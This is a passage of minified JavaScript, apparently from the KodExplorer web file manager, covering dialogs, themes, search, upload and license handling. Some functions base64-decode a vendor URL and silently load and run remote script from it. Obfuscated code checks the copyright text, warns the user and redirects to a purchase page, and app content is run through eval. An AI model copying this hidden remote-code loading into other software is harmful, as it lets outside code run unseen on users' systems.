style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:n,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:a,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var n=ShareData.frameTop(),a=n.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*n.$(".dialogExplorer").length;a.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+t+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var n="";if("diy"==e&&i){var a=require("./tpl/theme_diy.html"),o=template.compile(a);n=o(i)}$.setStyle(n,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var n=UUID();(i===void 0||""==i)&&(i=n);var a="";$.browser.msie&&9>parseInt($.browser.version)&&(a='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+n+'" '+a+' name="'+i+'" id="'+i+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+t+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+n+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+n);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+n)}if(1==e.length)var i=0,a=e[0],o=setInterval(function(){try{i++,100==Math.floor(a.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),n=1073741824*parseFloat(t[1]),a=core.fileSize(parseFloat(t[0])),o=core.fileSize(n),s=a+"/",r=100*i/n;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==n||isNaN(n)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var n in i)if(e>=i[n])return(e/i[n]).toFixed(t)+n},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,t){var i,n,a=function(){var a=trim(core.pathClear(t),"/"); -if(0==a.indexOf(G.KOD_USER_SHARE)&&-1==a.indexOf("/")||a==G.KOD_USER_FAV||a==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),n=c(),n.path=t,""!=e&&(n.search=e),$("#search_path").val(n.path),$("#search_value").val(n.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return n={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(n)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),n.is_case)e=e.replace(t,'<span class="keyword">'+t+"</span>");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+'<span class="keyword">'+e.substr(i,t.length)+"</span>"+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),n=core.pathFather(i);return core.openPath(n),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var n=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:n,lineIndex:$(this).parent().find("[data-line="+n+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(n)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var a=template.compile(tpl_search_list);if(t.html(a({code:e.code,data:e.data,LNG:LNG})),n.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&i.html("<span>"+LNG.seach_result_too_more+"</span>")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var n="index.php?explorer/search";G.share_page!==void 0&&(n="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:n,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};a()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],n=authCrypt[t[4]](G[t[1]],i);return n&&27==n[t[5]]?(e=n[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},n=i(),a=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=a},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&n==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var a=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==a[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[n],o=t[45]+i+t[46]+LNG[i]+t[47];n==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+a+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=a})},d=function(){n==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](n,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=n,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return n==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var a,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(a=e[t[90]],o=s[n]):(a=e[t[90]],o=r[n]),1e3==o)l=a;else for(var d in a){if(c>o)break;l[d]=a[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),n=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var a=UUID(),o='<div id="'+a+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';n.find(".item").length>0?$(o).insertBefore(n.find(".item:eq(0)")):n.append(o);var s,r,l,c=0,d=$("#"+a),p=$("#"+a+" .state").text(LNG.download_ready),u=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+a).find(".progress-bar");$("#"+a+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+a),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+a+"&time="+time(),dataType:"json",error:function(e,t,i){var n=d.data("progcess");return 200!=e.status&&n&&n.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+a+" .info .title").text(core.pathThis(e.info)),$("#"+a+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+a,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var n=(i.size-l.size)/(i.time-l.time);if(c>.2*n){var a=c;c=n,n=a}else c=n;var a=core.fileSize(n);a=a?a:0,t=a+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(tpl_upload),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"<textarea style='width:410px;height:260px;'></textarea>",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var n=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};n()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var 